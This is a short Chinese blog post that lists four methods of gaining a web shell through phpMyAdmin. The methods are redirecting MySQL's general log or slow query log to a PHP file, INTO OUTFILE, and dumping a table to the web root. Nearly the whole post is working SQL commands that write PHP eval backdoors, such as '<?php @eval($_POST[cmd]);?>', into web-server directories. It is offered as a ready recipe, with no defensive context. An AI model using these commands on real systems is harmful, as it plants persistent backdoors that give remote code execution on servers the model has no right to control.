phpmyadmin常见的getshell的几种方法

1、日志文件写 shell

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:
# 查看当前配置
SHOW VARIABLES LIKE 'general%';

# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='C:/phpStudy/WWW/zyx.php';

# 往日志里面写入 payload
select '<?php phpinfo();?>';

 

2、在知道绝对路径的情况下,利用INTO OUTFILE

select @@basedir;  查找绝对路径

show global variables like '%secure_file_priv%';

NULL    不允许导入或导出
/tmp    只允许在 /tmp 目录导入导出
空      不限制目录

如果有权限
select '<?php @eval($_POST[a]);?>'INTO OUTFILE 'E:/phpstudy_pro/WWW/test.php'

 

 3、慢查询写入webshell

show variables like '%slow%'
set global slow_query_log=on;
set global slow_query_log_file='E:/phpstudy_pro/WWW/slow.php'
select '<?php @eval($_POST[shell]);?>' or sleep(10);

4、创建数据库和表写入webshell:
利用条件:Root数据库用户(root权限); 网站绝对路径(确定有写入权限); secure_file_priv没有具体值。操作步骤:1)执行下面的sql语句,创建表并在表中写入一句话木马,在导出到网站的根路径。
CREATE TABLE test( id text(500) not null);    

INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');    

SELECT id FROM test INTO OUTFILE 'C:/phpstudy/WWW/1.php'DROP TABLE IF EXISTS test;

 

posted @ 2021-08-27 11:09  我有清茶与酒  阅读(1457)  评论(0编辑  收藏  举报